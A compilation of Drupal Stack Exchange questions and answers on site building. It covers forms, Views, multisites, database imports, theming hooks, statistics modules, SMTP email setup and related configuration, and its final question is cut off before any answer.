title: Building Custom Forms in Drupal 7

text:
# Question
Title: Building Custom Forms in Drupal 7
I'm new to Drupal 7 and installed it on my local machine to play around.

I'd like to build a basic Job Posting Form and wanted to ask about questions/best practices regarding Drupal.

This was the process I was going to follow:

1. Create a new content-type "job", add a title, description and pay - all text fields.
2. Create a new module, then within the module build out the custom form to create a new job listing. How do I associate the new form with the content-type? Should I build the form code in my custom theme folder (template.php) or in a new module?
3. When the form is submitted, how does the data get saved? How do I associate the submitted form with the database? Most of the examples using the Form API only mention building the form but not how to store the data (in my example, storing the "job" as new content).

I'm not asking for you to write code for me, but I'm having a difficult time understanding the workflow and best practices for working with Forms in Drupal 7. Any good guides on how to accomplish what I need would also be appreciated.

# Answer
> 1 votes
Great to know you're exploring Drupal! :D

> Create a new content-type "job", add a title, description and pay - all text fields.

Since you want to ask data from users or something like a survey, Geek Alvaro J Hurtado V is right. The Entityform module is the way do go since it uses entities and fields which are future proof and used in Drupal 8.

Brings me to another module called Views, Entityform works well together with the Views module. This module helps to create data lists without any coding needed. This is one of the most used module in the Drupal world. Check it out if you have time. :)

> How do I associate the new form with the content-type?
>
> When the form is submitted, how does the data get saved? How do I associate the submitted form with the database?

The Entityform module already handles this for you out of the box.

So what you need to do is to create your survey form using the Entityform module and you're basically good to go. You would have:

1. A public form where your anonymous/not logged in users can fill-up.
2. A content type where it relates the data submitted by the user.
3. A page which lists all the user submitted data.

# Answer
> 0 votes
Jobs will likely be included in content listings on the website. a "job form" should just be a content type. While frowned upon in general this content type could be given `Anonymous User` access to `create new content`.

Drupal handles storing content type data for you. Now you just need to likely work with that data. Look at using Rules or Drupal Hooks to store the newly created (and or approved/vetted -- you can approve Node content with many modules, 1 of which is Workbench) job entries in a Queue (using Rules Queue) for additional processing during Cron run.

Using the Features module -- you can do 99% of the above configuration and business logic in your website as an Administrator and then export this configuration and business logic to code in a `Feature`.

**EDIT**

sorry frowned is a poor choice of words. Anyway you cut it people are submitting content to your website (job postings) that type of stuff should be audited somehow (right? Viagra posts anyone?).

I'm suggesting this route because you could try hand coding stuff, and you'd be re-creating all or some of the modules i mention here. There are security concerns giving anonymous users access to create content, such as you'd only want to give them access to `Filtered HTML` as an input type -- if you don't understand the possible dangers then it's frowned upon to be playing with fire.

# Answer
> 0 votes
If you build simple form the best is to create content-types, install couple standard module and do job.

Good module for the form is WebForm Module

If you have a complicated forms the best is to custom build form and you have module with example how to do that Examples for Developers

I hope I helped you.

# Answer
> 0 votes
In this case, I think the best option is entityforms.

https://www.drupal.org/project/entityform

---
Tags: forms
---


# Question
Title: Term lineage in simple Hierarchical select module
I'm working on a project using Drupal 7. I'm using simple **Hierarchical select module**.

How its possible to attach the parent lineage to the node? Is there any way to do so using **simple Hierarchical select**? because the SHS only attach the child term to the node I tried to google it million times but couldn't find an answer

I tried the Hierarchical select module but its doesn't help because I'm using this field as exposed filter in a view and there are only two 'selection type' choices:

* **Autocomplete** : Which is not what am not looking for
* **Drop down** : Which combines the parent terms and children terms in one list and that is not what I want , I want the selection type to be Hierarchical select which is not provided

please help thank you in advance

# Answer
With views you can use SHS which will provide simple Hierarchical select as selection type in expose filter.

To attach the parent term to node, you need to use the combination of Display Suite, Panels and entity module with token. You can use parent term's token in Display Suit of default layout or any you want to use.
> 0 votes

---
Tags: nodes, views, taxonomy-terms
---


title: Make interaction between multisites

text:
# Question
Title: Make interaction between multisites
Well look I have a multisite.

The main site that uses the sites/all folder for its modules and libreries and another subdomain that uses sites/subdomain for its modules, themes, etc...

they are in separate databases but share the same drupal instance

In the main site I have an inventory app for a local store they manage their inventory and their invoices there.

In the subdomain I did a ecommerce store so they will sell their products through that subdomain, I need that when an user buys a product in the ecommerce store ten automatically I need that purchase to be registered in the inventory that is in the other site.

How to do this connection betweed the 2 sites in a multisite config?

Thanks for your help

# Answer
The "standard" way of creating multiple sites with some interaction between them using Drupal is to use the Domain Access module rather than multisites.

However, there is great write-up about using interacting multisites at Drupal Redesign: Domain Access vs. Multisite.

The gist of it is that you set up a multi-site as you normally do. Then you create a *custom module* to take care of interaction and sharing data between the sites.

Drupal can handle multiple databases, but you can avoid the complexity of managing multiple databases by using a single database and use a database table prefix to avoid namespace collisions. If you already have created the databases as separate databases, you need to use `hook_update_N` (or SQL operations outside of Drupal) to refactor the schemas.
> 1 votes

# Answer
Hi look what I finally did, was to create an API using the services module, for the inventory and used the services module also in the ecommerce store for send requests to the inventory app API, however it was not very easy to manage, and the website become very big and very buggy so I finally gave up with Drupal for this project, so I decided to start from scratch with Ruby On Rails, if you want to learn Ruby On Rails from scratch I recommend you railskarate.com it is totally free, start from the first video and subscribe to their youtube channel, they upload a new lesson everyday.

Hope this help you! Regards!
> 0 votes

---
Tags: 7, multi-sites
---


# Question
Title: How to resolve my timeout during import of my Drupal database using phpMyAdmin?
I downloaded my Drupal database (in MySQL format, and using phpMyAdmin) from my new web site. I am attempting to import it using phpMyAdmin on my local Win 7 computer running Acquia Dev Desktop. It generates a script timout on Drupal table `cache_menu` with 31 rows imported.

I started the import again. This time the row count in cache\_menu is 62. I've been doing this for hours! The row count goes from 31, 62, 93, 124, 155, 186, ... about 30 rows each time. The odd thing is that only 66 rows exist in `cache_menu` on bluehost.

Here are the versions of software involved:

Bluehost mysql version 5.5.42-37.1-log InnoDB Acquia mysql version 5.5.42-37.1 InnoDB

Bluehost phpmyadmin version 3.5.8.2 Acquia phpmyadmin version 4.3.7

I tried the suggestions as described in "Maximum execution Time in PhpMyAdmin". Unfortunately, these suggestions resulted in Internal Server Error.

Any idea what's going on?

# Answer
> 1 votes
# Skip processing rows in cache tables

For any of the cache-tables, there is no need to actually import them in your dev environment. So it is OK to just skip those rows during your import. That might help to get around this issue. FYI: clearing the cache in the site where you are exporting from, before performing the export is another way to avoid such rows being imported (might help also).

# Use module Backup and Migrate

Another possible work around, you may want to consider using the Backup and Migrate module. Here is a quote from its project page:

> Back up and restore your Drupal MySQL database, code, and files or migrate a site between environments. Backup and Migrate supports gzip, bzip and zip compression as well as automatic scheduled backups.
>
> With Backup and Migrate you can dump some or all of your database tables to a file download or save to a file on the server or offsite, and to restore from an uploaded or previously saved database dump. You can choose which tables and what data to backup and cache data is excluded by default.

Refer to the readme.txt that comes with the module for details to get you going.

Your local environment is Win 7, though your hosted website probably runs in "some other OS" (Linux? Something else? consider clarifying in your question also ...). So that implies potential extra challenges (because of differences in the OS-es. I've had good experiences with Backup and Migrate between different OSes, which didn't cause any problems (worked fine) in situations where the typical MySql export / import failed before.

---
Tags: database
---


title: Use a Custom Field in page.tpl.php

text:
# Question
Title: Use a Custom Field in page.tpl.php
I have a custom field called *site\_category* that I am using in a few different content types. The field *site\_category* is an entity reference to a content type which has only one field defined: *Title*. For the purposes of this example, I have three instances of that content: Things, Widgets, Places

I have another content type called *content* that has a number of fields including *site\_category*

(Think of this like taxonomy, but using content types rather than terms)

I would like to add in the *site\_category* field to my page.tpl.php so that it not only displays the title of the page, it also displays the site category that it is related to.

So, as an example, if I had a "Super Duper Widget De-Duper" that fell under the widgets category...

example URI:

```
.com/widgets/super-duper-widget-deduper

```

Page would render (styled of course):

```
Header
**Widgets**
**Super Duper Widget De-Duper**
Content
Footer

```

I have found a number of similar posts here on stackoverflow like this one: Access custom node field in page.tpl.php However, it dosen't work and I don't know what I am doing wrong. There is a lot of php code provided, but I don't know where to put said php code because it is never really referenced.

I have added the output from the Devel module. It appears that the field is being loaded as it is "there." Shouldn't I be able to access it?

I have added the following code with a reference to the field that is displaying in Devel:

```
if (isset($variables['id'])) {
// Get the node ID and load it.
$n = node_load($variables['id']);

$variables['site_category'] = "Breakpoint 1";

//If "Breakpoint 1" shows up on the page output, we know that (isset($variables['id']))
//evaluates as  "true"

// Check if the node exists
if ($n) {
  $variables['site_category'] = "Breakpoint 2";

  //if "Breakpoint 2" shows up on the page output, we know that the ($n) evaluates
  //evaluates as true.

```

I only added the two breakpoints - no other changes were made. When I view the output, only **Breakpoint 1** shows up meaning the node doesn't exist.

# Answer
Since you want to function on a "page level" (outside the content area) what you can do is:

1. Use hook\_preprocess\_page
2. Get the node id being viewed
3. Query the node using node\_load or just your "term field" alone using EntityFieldQuery

This would somehow look like:

**Your theme or custom module**

```
// This function is inside my template.php
function YOURTHEME_preprocess_page(&$variables) {
  // This array key is only present when a page is a node page(node/<nid>).
  // If this is set, this contains the node object already.
  if (isset($variables['node'])) {
    $n = $variables['node'];

    // Don't forget to change this also to check if the reference field
    // has at least one reference/target node.
    if (isset($n->body['und'][0])) {
      $variables['site_category'] = 'PARTY! This displays the field we need';
      /**
       * The above line is just an example.
       *
       * You would replace it with the codes to load the target node:
       *   $target_node = node_load($n->field_site_category[......]);
       *
       * Display the title of the target node
       *   $variables['site_category'] = $target_node->title;
       */
    }
  }
}

```

**page.tpl.php**

```
<?php if (isset($site_category)): ?>
  <?php print $site_category; ?>
<?php endif; ?>

```

I added some screenshots of the outputs:

**When viewing a node page**

**When not viewing a node page**

Also to get the array keys inside variables, there is a module called Devel. Install it like any module and use its helper function **dsm($your\_var)**. This displays the contents of the variable in a pleasant manner.
> 4 votes

---
Tags: 7, theming, entities
---


# Question
Title: How can I schedule in advance an update to a node, to occur at a given time?
In a situation where I know that a specific change to the content of a specific node will need to be made on a specific date and time, is there any way to automate that change so that I do not need to make the change manually specifically at that date and time, but rather can prepare it in advance?

The Scheduler module allows for scheduling publishing and unpublishing nodes, and I am basically looking for some (hopefully lightweight) way to achieve a similar effect to the *content* of a node.

This is for Drupal 7 (though compatibility with the upcoming Drupal 8 is definitely a plus). Ideally it will also handle the components on Webform nodes (one of the things I want to be able to do is replace the list of options in a "select" component).

# Answer
This could be done with a Rules Schedule:

> The Rules module allows site administrators to define conditionally executed actions based on occurring events (known as reactive or ECA rules). It's a replacement with more features for the trigger module in core and the successor of the Drupal 5 workflow-ng module.

specifically this functionality: `Flexible scheduling system that allows scheduling any component / action.`
> 1 votes

---
Tags: nodes
---


# Question
Title: How do I display articles in sticky footer?
Not sure if i am going about this the right way but my intended goal is this:

Create a sticky footer that displays:

1. In Section 1(Left section) a Link to Latest magazine issue.
2. In Section 2 (Right Section) A. Either show the latest Archived Articles. B. Allow a user to input or select their own desired archived article.

Can I use a view to display this, or should I use a block? If I can accomplish this with a view, what should my approach be?

>

# Answer
if you number of archive and data in this block all always this (not need generate dynamic) you can create them with 2 static block that their link redirect user to a page that data was generated by views,(views page ).

and if you block data is not static and you want they generate dynamically I suggest you use `views block(this mean a view with block display)`.

I think this link can help you it describe how to create a block that show month name and when click on each month related data according to the that month fetch by view.
> 2 votes

---
Tags: views, blocks
---


# Question
Title: Need to count field specific value in Views
Need to count field specific value in Views. I have 2 content types "project" and "task" In the task i have reference field for project (assign task to project) And another field "task\_status" as a list: closed / open

I want to calculate the closed and total tasks so i can get the results in percentage:
closed\_task / total\_task * 100 How can i get the count for closed tasks value ?

Sorry for my bad English :)

# Answer
> 0 votes
You first create a views to show the list of open or closed task.

create a views with content type "project" remove all field then add a relation on task referenced field ,add title field with consider that you select relation field for it (because we want load task title instead of project title) then add filter "task\_status" equal to close,then enable exaggeration and on title.and finally for better result you can get the title(or nid ) of project with contextual filter . it help you you can get only the list of tasks form specified project.( and finally create another page in that views with only one change, status=open ).

---
Tags: views
---


# Question
Title: Views Get Data from REST API without creating nodes
I am consuming data via a 3rd party REST API (not a Drupal site). I'd like to minimize double-duty (importing nodes from the API and then displaying that data) and just display the API data directly via Views.

**How can I create a Views handler for the REST API?**

# Answer
It is not easy way to show that data with views. You can show them to user without views and without saving them but when you want use views you must save them in database or create a custom module to do that. But my suggestion for you is to create a content type then save that data in node. If you don't need to create a rule that delete them after a specified date, as example delete all data that older that 3 days ago.
> 0 votes

---
Tags: views, 8
---


# Question
Title: 403 page when clicking on activation link in email
When a user creates an account, they must activate their account by verifying the email. The token in that email is the default one, i.e. `[user:one-time-login-url]`

But when the user clicks on the link in their email, they get the 403 page (= You are not authorized to see this page).

Can anybody explain why this 403 page shows up?

# Answer
> 0 votes
It was an issue with the User Registration Password module, which I've installed in order to set password for users before sending email to them.

I had completely forgotten about having this module installed. Sorry it was just a bug in the module.

# Answer
> 0 votes
You have to give the right to anonymous role to view published content

your\_domain/?q=admin/people/permissions

then, tick view published content

---
Tags: users, emails
---


# Question
Title: How to track and report which data is used or accessed the most for a site on an internal network?
I have a Drupal site set up on Solaris 10.

I made custom PHP file to allow users to pass parameters in URL to retrieve feedback in xml format, and a couple of views to display data in table format.

Is there a way to track which data is used or accessed the most and display it in a report? So I can get rid of the data less frequent used.

**Note**: The site I built is for internal network, so the outside world doesn't have access to it (and therefor I cannot use Google Analytics).

# Answer
> 0 votes
Have a look at the Visitors module. Here are some reports you get from it:

> * View pages that have recently been visited.
> * View pages that have been hit frequently.
> * View pages count per month, day of month, day of week, hour.
> * ...

Especially these reports should be what you're looking for, which also **includes hits for paths corresponding to a view**, such as the one with path `charts/examples/views`:

* Top pages (table with columns Title, Path and nr of Hits). Here is an example of this report:
* Recent hits (table with columns Date of visit, Title, Path and User ID of the visitor). Here is an example of this report:

If you follow any of the "details" links in the example above, you'll get something that looks as in this example:

Checkout the above (source) links to get an idea of which data are available.

The demo site contains some sample reports (charts) available to anonymous users also. Any visits to a Views related path will be reported in the **Recent hits** module. This demo site also shows some additional blocks with reports also created by the Visitors module module.

You may also want to look at the visitors\_schema to get an idea of the data that actually get logged (recorded) by this module.

In case it's not a perfect fit, it's probably a very good starting point for some custom reporting. Either via a custom module that would simply have to query the data maintained by the Visitors module. Or via a straight forward custom report created with the Forena module.

Disclosure: I'm the maintainer of the Visitors module, and co-maintainer of the Forena module.

---
Tags: views, nodes
---


# Question
Title: How to implement a select list that allows for multiple selections?
I am creating a content type that contains a field of type "Entity/user reference", and for the widget I want the user to be able to select multiple entities.

I installed and tried the Improved Multi Select module, however I did not find it in the widgets list.

Then I installed and tried the Multiple Selects module, I found it in the widgets list, however it does not work the way it should: it works like a normal select list that allows selecting one entity, it is not giving me the option to "add another item".

How can I fix this? Or does anyone know another way for allowing multiple selection?

# Answer
From the various attempts you tried, it seems that the reason for your issue is simply that you have not indicated that "multiple values are allow" for this field.

To ensure multiple values are allowed, navigate to `/admin/structure/types/manage/mytype/fields/field_abc` (assuming '`mytype`' is the machine name of your content type, and '`abc`' is the machine name of your field). As an alternative, use the "edit" link for your field, within the "manage fields" tab for your content type, after you selected the content type via `Admin > Structure > Content Types`.

Then within the option that says "Number of values", indicate the "Maximum number of values users can enter for this field.". Note: the default is 1, so if you did not change that yet (eg to 'unlimited'?), then that would explain your issue (and resolve it).
> 0 votes

---
Tags: entities
---


# Question
Title: Display form errors on each field instead of at the top of the page using form_set_error
I use `form_set_error` to set the error text after validation fields (email, phone, etc.). The validation error messages are show at the top of the page. This also happens with errors for required fields that are not explicitly set with `form_set_error`.

How can I make them appear under their relevant fields.

Note: I'm not using the Webforms module, but rather the Forms API. I'm on Drupal 7.

# Answer
> 4 votes
You can use the Inline Form Errors module for that

> IFE or Inline Form Errors allows you to place form submission error inline with the form elements. Three options are provided for setting your inline error behaviour. You can configure the default behaviour or override the behaviour on a per form basis. You can add as many forms as you like.

Or alternatively the Inline Messages module:

> The Inline Messages module allows you to move form messages (error/status/warning) from the top of the page to just above where your form appears.

The former would appear to be the more actively maintained of the two.

---
Tags: forms
---


title: nested views of main CT and sub CT

text:
# Question
Title: nested views of main CT and sub CT
What I want to achieve is nested view.

Say I have Content Type 'main' en Content Type 'sub'

How can I create a view that looks like this:

```
main 1 title
main 1 fields
    sub 1 title
    sub 1 fields

    sub 2 title
    sub 2 fields

    ...

main 2 title
main 2 fields
    sub 4 title
    sub 4 fields

    sub 5 title
    sub 5 fields

    ...

...

```

Do I need references?

more context: I know there is something like entity-reference and also the use of tags. For every sub I placed 'main 1', 'main 2' or 'main 3' as a tag. I also let every sub refer to content 'main 1' , 'main 2' or 'main 3' with the entity reference (set on main) I tried already by creating a view of 'main' and a block view for each 'sub' with tag as extra filter. I don't know though how to make the view 'main' implement each 'sub' view and place it in each main node. Is this clear or do you need more info? If so, which ?

# Answer
> 0 votes
Have a look at the Views Accordion module, and its related Community documentation.

By "grouping fields", the group header can be used as accordion header. And Views allows for one field to include the content of multiple fields, so you can utilize this views feature for this purpose (Combined fields).

Does this help somehow?

---
Tags: views, nodes
---


# Question
Title: How to exclude a custom 404 error page (not found) from a Popular Content block?
Is there a way to stop a custom 404 page from being added to the Popular Content block?

I set up a node for the custom 404 page. But every time a missing page gets redirected there, it increases the number of page hits of that node (of course). Which increases its ranking in Popular Content blocks also.

Is there some configuration setting to exclude it from Popular Content blocks, or place it in a different category?

# Answer
> 2 votes
# Option 1: Use the CustomError module

The CustomError module allows a site administrator to create custom error pages for HTTP status codes 403 (access denied) and 404 (not found), without the need to create nodes for each of them. Some more details about its features (from its project page):

> * Configurable page title and descriptions.
> * There are no author and date/time headers as with normal nodes.
> * Any HTML formatted text can be be put in the page body.
> * The error pages are themable.
> * Users who are not logged in and try to access an area that requires login will be redirected to the page they were trying to access after they login.
> * Allows custom redirects for 404s.

What you should be most interested in, is this part from that project page:

> Since the error pages are not real nodes, they do not have a specific content type, and will not show up in node listings, or in a Popular Content block.

# Option 2: Tune the View that creates the block

Edit the View that actually creates the Popular Content Block like so:

* Use the "Add" link to add an extra condition within "Filter Criteria".
* The extra condition could be either of these:

1. "Content: nid", using "Is not equal to" as operator, and with "value" the node id for your 404 page.
    2. "Content type" is different from "Content type ABC", whereras you first created such Content type ABC to create pages such as the custom 404 page (which automatically also covers other similar pages you want to always be excluded also).

# Bonus: Also for 403 variations

Either option above can be used in case of a similar question related to 403 errors (Forbidden, or "Access Denied").

---
Tags: redirection, nodes
---


# Question
Title: How can I monitor for bot accounts accessing drupal paths without permission?
On my site, users do not have permission to create content.

However, looking through the watchdog logs, I found several accounts that were attempting to access

```
node/add/article
node/add/page

```

and so on. In this case, all the accounts were registered from *@ad.drupaler.org*, so it was easy to eliminate them, but in case the same thing happens from a variety of domains in the future, I'd like to set up some way to alert myself that users are attempting to access these paths.

I am thinking about using the Rules module to do this, but I was wondering if there was already a "best practice" for this kind of thing-- since there are automated bots to attack Drupal sites, there might be an automated way to fight back.

# Answer
You could try adding bot protection to your registration form,

e.g with reCaptcha

Other worthwhile things are blocking the bots in your webserver,

e.g nginx

Custom options include using the Flood control API,

e.g `flood_is_allowed` and `flood_register_event` with ip blocking (e.g `system_ip_blocking_form_submit`) or `user_block_user_action` on the node/add or 403 page.
> 1 votes

---
Tags: security
---


# Question
Title: Contact Us works on local machine, but not on bluehost.com
How can I track down why an email is not generated from my new web site when I click Contact on the Contact page?

I turned on maillog and devel. What I get is maillog =\> ... (Array, 6 elements) ... (Array, 6 elements)

```
Subject (String, 23 characters ) [Website feedback] test
From (String, 22 characters ) sam.stamport@gmail.com
To (String, 22 characters ) sam.stamport@gmail.com
Reply-To (NULL)
Header (Array, 7 elements)
Body (String, 128 characters ) admin (http://columbiablooms.org/users/admin) s...
    Krumo version 0.2.1a | http://krumo.sourceforge.net
    [Click to expand. Double-click to show path.] Called from
    /home5/columck5/public_html/sites/all/modules/maillog/includes/maillog.mail.inc
    , line
    90

Your message has been sent.

```

Error message:

> Unable to send e-mail. Contact the site administrator if the problem persists.

# Answer
Installing the SMTP module and configuring it correctly was the solution to the problem. Since I am a newbie to Drupal it seems magical that it solved the problem. I don't fully understand the logic flow of SMTP and SimpleNewsletter.

It took three different chats with bluehost before I got SMTP configured correctly.

Following are the SMTP parameters that finally worked. The email address in Home » Administration » Configuration » System - Site Information also was incorrect. I set it to admin@columbiablooms.org and everything finally worked. The admin@columbiablooms.org email address had to first be created via cpanel at bluehost. The password in the screenshots below is the one that I used when I created the email address at bluehost.

I hope all this helps another newbie ...
> 0 votes

---
Tags: 7, emails
---


# Question
Title: How to hide a block enitirely which has empty content (unless for a specific role)?
I have a custom block and I want to limit it only to one role. The position of this block is administrator-\>dashboard.

I have set the visibility settings of block to be shown only to role `editor`, but when I sign in with a user whose role is something else, such as a `photographer`, it shows the block with a text in it: "(empty)".

It truly does not show any content, but I WONDER why it shows the block's structure? I expect it to be totally invisible as if no such block ever exists.

What's wrong with it?

# Answer
> 1 votes
From the question details (and comments to it), it appears to me that the "(empty)" is somehow the result of your Views output (formatted as a block).

But for anybody who has not the role of Photographer, the result of the View (the output of it) is just "empty". So you may want to try / experiment with the "No Results Behaviour", which is located in the most right column when editing the view details (within 'Advanced').

Also note that you should make a difference between "access" to the content of the nodes (or whatever) that are shown in the block (if not empty), and what Drupal shows as the wrapper/container of such list (such as the block your question is about). Maybe, just for debugging purposes, you should try to build a similar view formatted as a page (instead of a block), and see what kind of output (result) you get in both scenario's (somebody with the photographer role, and somebody who des not have that role). While doing this page-related experiment, you may get different results, depending on what you specified within the "No results behaviour". And that might help to understand that your (empty) block issue is also a matter of "No result behaviour".

If you cannot get it to work this way, you may want to consider using the BEAN module, which gives you way more granularity / flexibility for creating blocks.

---
Tags: blocks, users, dashboard
---


# Question
Title: Maintaining order history when creating orders as admin
I have learned that much of the sales tracking and order history is dependent on the sales being made through the use of commerce checkout. For my project, however, I was utilizing the Commerce Kickstarter distribution to create a system to manage business sales whereby the admin would create customer profiles and, subsequently, be able to select from existing customer profiles when an order is created.

That is to say, the admin is the only necessary user.

I soon found, however, that order histories for each Customer Profile remained unchanged after orders. To get around this, I created a rule to create a User Profile to match every Customer Profile whenever the latter is created. In order to associate ownership of the Customer Profile by the New User, I wrote an additional script and triggered it as part of the rule.

Although the Customer Profiles are now owner by their respective Users, the Order History remains unchanged for each user - new orders do not create any history. This is because the user associated with the orders is whichever user is logged in, rather than the user associated with the Customer Profile being chosen for the order. I would like to rectify this as it would allow me to enjoy the full benefits of Commerce Reporting.

My first intuition is to use function hook\_commerce\_order\_presave -\> but I have found no examples of this, and am unsure as to the specific structure of $order. Can anyone shed some light on this?

# Answer
> 1 votes
I was able to solve this issue:

RECAP

Problem: Keeping order history in situations where the admin creates orders on behalf of Customers.

Solution: a) User profiles must exist for the customer profiles. If the admin is creating customer profiles, a Rule can be created to a create User Profile whenever a Customer Profile is saved. To do this, I created a field for Customer Profiles called "Username", and use that data to populate the name of the new User.

b) A script will need to be written to automatically associate ownership of the Customer Profile by the appropriate User Profile. I was unable to create a functioning Rule which doesn't use my own php code to handle this.

c) One more rule to change the data value of the Order before it is saved. Specifically, you want to change \[commerce-order:owner\] to the right value (which can also be supplied by my Customer Profile's "Username" field). You will need to ensure that your rule has a Condition of "entity has field -\> username" or the appropriate token won't be available.

I hope this can be helpful to someone!

---
Tags: commerce
---


title: Load video to youtube when node save

text:
# Question
Title: Load video to youtube when node save
I have search but not found so I need to ask.

I need a module that permit to my users to load a video into the node add form and this video need to be loaded into my youtube/vimeo page.

Is there? Please...

M.

# Answer
> 1 votes
A combination of following modules would do what you want

1. Media

> The Media module provides an extensible framework for managing files and multimedia assets, regardless of whether they are hosted on your own site or a 3rd party site - it is commonly referred to as a 'file browser to the internet'.
>
> Media is a drop-in replacement for the Drupal core upload field with a unified User Interface where editors and administrators can upload, manage, and reuse files and multimedia assets. Any files uploaded before Media was enabled will automatically take advantage of the many of the features it comes with.

1. Media: YouTube

> Media: Youtube integrates with the Media module to make Youtube videos available as file entities.
>
> Users can add Youtube videos to their site in a file field or insert them into a WYSIWYG area by pasting the video's URL into the media browser web tab. Formatter options are available to customize the Youtube player's appearance, show the video preview image, and enable the Javascript API. The 2x branch is under active development and uses the Youtube iframe embed that can serve HTML5 videos to mobile devices.

1. Media Mover

This is the module that would do what you have asked. I have highlighted the point you have asked

> Media Mover is a set of modules which allows website administrators to easily create complex file conversion processes. The core of Media Mover is the media\_mover\_api module which creates a set of rules allowing multiple modules to interact with a file. Media Mover can take a file emailed to an email account, turn a file attachment into an FLV file, create a new node with the file data, and then save the file on an external file storage system like Amazon's S3 all at once. And that's just the start.
>
> What you can do The core set of Media Mover modules offers lots of options for someone manipulating rich media.
>
> * get attachments from an email account
> * get attached files from nodes of a specified type
> * get files from previously harvested files
> * get files from CCK filefield and imagefield fields
> * get files from a FTP server, provide file tokens for user authentication as well
> * create a thumbnail from a video file with ffmpeg
> * transcode video files into web friendly (and other) formats
> * compress a file with zip
> * move a file to Amazon's S3 service
> * attach file back to node
> * save file and related data as a node
> * add a file to a CCK filefield or imagefield
> * **save a file to YouTube**

# Answer
> 0 votes
There is another light weight module which does the same thing well. https://www.drupal.org/project/youtube\_uploader

---
Tags: 7, files
---


# Question
Title: How to get statistics of (internal) referrers for landing pages?
I'm building a Drupal 7 site. Here's a use case that I'm not sure how to deal with:

* for a campaign, we have a specific landing page.
* we promote the landing page through different means (newsletter, flyers, website).
* we want to track the effectiveness of each promotion.

As a sample, I have mydomain.com/mylandingpage?promoId=\[n\] and I want to track how many people accessed that page through promoid=1 vs promoid=2.

I do not necessarily have a form on the landing page, i.e. knowing how many users submitted a form after seeing a promotion is a different use case (and one that can be solved with a hidden form field).

How can I get statistics for what I need? The only thing I can think of is making special redirect URLs for each promo, e.g. mydomain.com/mylandingpage/promo1, but that would become messy/cumbersome very soon.

I'm aware of Google Analytics, but I'm looking for an internal solution.

Any ideas?

# Answer
To answer this question, there are basically 2 approaches possible, as further detailed below (you might want to combine them also ...).

# Option 1: Use the Rules module

You can use the Rules module to trigger "some" Rules **Actions**, based on the actual value specified as your `promoid`. Use either of these modules to trigger Rules **Events** based on the 'current URL being viewed' (quotes are from their project pages):

* Rules URL Argument:

> ... provides two rules conditions based on URL arguments:
>
> + check if a URL argument is present
>     + compare the value of an URL argument
>
> It also provides an action that makes the value of an URL argument available as new variable to Rules.
* Path Rules:

> ... implements Rules conditions for checking the URL against a given string for triggering actions.

What the actual Rules **Actions** should be, is up to your own imagination, but here are just a few possibilities (rather basic, but straight forward to implement using the Rules module):

* Perform a redirect to some URL, specific to each `promoid` (and then you just count the hits for each of these URLs).
* Send an eMail each time you have a hit, whereas the content of the eMail somehow reflects the value of your `promoid`, and/or you use a different eMail ID to send such eMail to, based on that value.
* ...

# Option 2: Use a typical module about statistics

Below is a list of modules to pick from (quotes are from their project pages).

* Statistics Advanced:

> Provides a few advanced options to the core Statistics module.
* Visitors:

> Displays information about visitors, and integrates with the WhoIs Lookup module
* Better Statistics:

> introduces a Statistics API, which allows for a way to collect, limit, and route custom access statistics and data.
* Piwik Web Analytics:

> Adds the Piwik web statistics tracking system (free open source) to your website.
>
> Related module: Piwik Reports, which provides graphical reporting of your site's tracking data inside Drupal.
* Chartbeat:

> ... to provide third party integration with Chartbeat, for real-time site monitoring statistics.
* Stat Counter:

> ... provides an integration between Drupal and StatCounter web statistics.
> 0 votes

---
Tags: 7, nodes
---


# Question
Title: How can I make a gallery of "boxes" of content consisting of an image and some text?
My aim is to create a gallery of content boxes. Each box is comprised of a connected image and text, so that when you hover on a box, you could see some css effect like the one you can see in this site here and in the image from it.

Actually it's more than a gallery, the image and text are combined. I'm looking for a way to conjugate them. A gallery of conjugated image and text.

So i want to make the text and the image of the box one unit, so that they could easily get the same CSS, as in the example above. Since I've yet to learn JS, I think I need a module for that.

# Answer
# Module Image Field Caption

The Image Field Caption module adds an extra text area for captions on image fields. Similar to the alt and title text fields available with an image field, the caption text area can be used to enter text or html descriptions of an image.

The Readme.txt of this module details how you can tune/customize the image caption display, e.g. via theme templates (.tpl files), or via CSS.

# Module Textimage

The Textimage module may be a good fit for what you're looking for. Excerpt from itsproject page:

> ... adds text to image functionality using GD2 and Freetype, enabling users to create crisp images on the fly for use as theme objects, headings or limitless other possibilities.

The project page of this module also includes some links about HOWTO manuals.

# Other modules to consider

If the above modules are not what you're looking for, then I suggest you consider these alternatives:

* Drupal 7 - How to Create an Image Gallery in Drupal contains some great docu about this topic also.
* Talking Drupal #083 is a great podcast about creating a Gallery, and includes a lot of recommended modules for it. Just to mention a few of them (mentioned on the linked page):

> ... provides a CCK formatter for image fields, which will turn any image field into a jQuery Gallery.

> ... can be used to create a slideshow of any content (not just images) that can appear in a View. Powered by jQuery, it is heavily customizable: you may choose slideshow settings for each View you create.

> ... integrates the Flex Slider library with Drupal and several contributed modules which allows you to build responsive, resizable slideshows. Meaning the slideshows automatically adapt to the size of the browser window or device.

> ... allows you to create multimedia galleries where both the galleries and the gallery items are nodes (as opposed to gallery items being file fields, like Media Gallery).

> The File module of Drupal 7 enables you to select only one file at a time which can be very time consuming in case of many files. This module uses the 'multiple' attribute of html5 to overcome this problem and presents a widget called 'Multiple' that can be used with fields of type File.
>
> Using this Multiple widget in case of File fields it is possible to select more files at a time, which can be a big time saver.

> As an extension to Multiupload Filefield Widget this module presents the same widget to Image fields.

> If you are using ImageField and ImageCache, you might have had hard times trying to get Scale And Crop to show what you actually want of your images. That is what ImageField Focus was made for.
>
> It allows you to tell ImageCache what portion of the image you want to focus to, and what portion you want to be cut out.

> Provides integration between for the Plupload widget to upload multiple files and Drupal. Plupload is a GPL licensed multiple file uploading tool that can present widgets in Flash, Gears, HTML 5, Silverlight, BrowserPlus, and HTML4 depending on the capabilities of the client computer.
> 5 votes

---
Tags: theming, media
---


# Question
Title: "Undefined index" error for field which is defined
I'm getting a strange error on a Views page, even though the page works. I get ten instances of this error:

```
Notice: Undefined index: field_video in include() (line 28 of
/path/to/drupal/sites/all/themes/mytheme/templates/
views-view-fields--screenings--panel-pane.tpl.php).

Notice: Trying to get property of non-object in include() (line 28 of
/path/to/drupal/sites/all/themes/mytheme/templates/
views-view-fields--screenings--panel-pane.tpl.php).

```

Here's the content of line 28:

```
if (preg_match('/media/', $fields['field_video']->content)) {
    unset($fields['field_featured_image']);
}

```

The idea is that if a node of the relevant content type has both a Video and a Featured Image, the view will drop the image and replace it with the video.

